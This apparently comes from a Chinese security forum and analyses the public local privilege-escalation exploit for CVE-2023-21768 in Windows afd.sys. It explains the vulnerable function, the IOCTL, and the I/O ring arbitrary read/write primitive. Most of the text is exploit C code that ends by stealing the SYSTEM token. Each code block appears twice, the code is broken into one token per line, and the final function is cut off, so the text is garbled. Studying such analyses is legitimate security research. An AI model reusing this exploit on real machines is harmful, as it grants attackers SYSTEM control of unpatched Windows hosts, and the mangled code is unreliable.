CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
本文是对exp代码的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)
个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自Yarden Shafir
i/o ring 是Windows 11(22H2)新出现的一种机制,参考ioringapi - Win32 apps | Microsoft Learn
通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。
submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。
submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。
submission queue entry的结构
以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
通过SubmitIoRing函数提交。
正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?
如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。
也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。
创建I/O ring对象,再创建两个命名管道用做读写句柄。
首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。
先将需要写的数据写入到管道中,在设置好WriteAddr和WriteLen,使用BuildIoRingReadFile将数据写入到WriteAddr处。
找到system进程然后替换token。
通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。
这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。
查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数,
在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。
与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls
查看AfdNotifySock函数。
检测
为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。
查看AfdNotifyRemoveIoCompletion函数
将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
最后整合到一起就是
Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)
One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)
I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)
x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls
HRESULT CreateIoRing(
IORING_VERSION ioringVersion,
IORING_CREATE_FLAGS flags,
UINT32 submissionQueueSize,
UINT32 completionQueueSize,
HIORING
*
h
);
HRESULT CreateIoRing(
IORING_VERSION ioringVersion,
IORING_CREATE_FLAGS flags,
UINT32 submissionQueueSize,
UINT32 completionQueueSize,
HIORING
*
h
);
创建I
/
O ringint ioring_setup(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags
=
{
0
};
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
getobjptr(ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
pIoRing
=
*
ppIoRingAddr;
hInPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
ret
=
GetLastError();
goto done;
}
hInPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
return
ret;
}
创建I
/
O ringint ioring_setup(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags
=
{
0
};
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
getobjptr(ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
pIoRing
=
*
ppIoRingAddr;
hInPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
ret
=
GetLastError();
goto done;
}
hInPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
return
ret;
}
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
int
ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int
ret
=
-
1
;
HANDLE hProc
=
NULL;
ULONG64 ullSystemEPROCaddr
=
0
;
ULONG64 ullTargEPROCaddr
=
0
;
PVOID pFakeRegBuffers
=
NULL;
_HIORING
*
phIoRing
=
NULL;
ULONG64 ullSysToken
=
0
;
char null[
0x10
]
=
{
0
};
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, pid);
if
(NULL
=
=
hProc)
{
ret
=
GetLastError();
goto done;
}
ret
=
getobjptr(&ullSystemEPROCaddr,
4
,
4
);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System EPROC address: %llx\n"
, ullSystemEPROCaddr);
ret
=
getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+} Target process EPROC address: %llx\n"
, ullTargEPROCaddr);
pFakeRegBuffers
=
VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64)
*
ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if
(pFakeRegBuffers !
=
(PVOID)ullFakeRegBufferAddr)
{
ret
=
GetLastError();
goto done;
}
memset(pFakeRegBuffers,
0
, sizeof(ULONG64)
*
ulFakeRegBufferCnt);
phIoRing
=
*
(_HIORING
*
*
)&hIoRing;
phIoRing
-
>RegBufferArray
=
pFakeRegBuffers;
phIoRing
-
>BufferArraySize
=
ulFakeRegBufferCnt;
ret
=
ioring_read(pFakeRegBuffers, ullSystemEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System token is at: %llx\n"
, ullSysToken);
ret
=
ioring_write(pFakeRegBuffers, ullTargEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
ioring_write(pFakeRegBuffers, &pIoRing
-
>RegBuffersCount, &null,
0x10
);
ret
=
0
;
done:
return
ret;
}
int
ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int
ret
=
-
1
;
HANDLE hProc
=
NULL;
ULONG64 ullSystemEPROCaddr
=
0
;
ULONG64 ullTargEPROCaddr
=
0
;
PVOID pFakeRegBuffers
=
NULL;
_HIORING
*
phIoRing
=
NULL;
ULONG64 ullSysToken
=
0
;
char null[
0x10
]
=
{
0
};
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, pid);
if
(NULL
=
=
hProc)
{
ret
=
GetLastError();
goto done;
}
ret
=
getobjptr(&ullSystemEPROCaddr,
4
,
4
);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System EPROC address: %llx\n"
, ullSystemEPROCaddr);
ret
=
getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+} Target process EPROC address: %llx\n"
, ullTargEPROCaddr);
pFakeRegBuffers
=
VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64)
*
ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if
(pFakeRegBuffers !
=
(PVOID)ullFakeRegBufferAddr)
{
ret
=
GetLastError();
goto done;
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课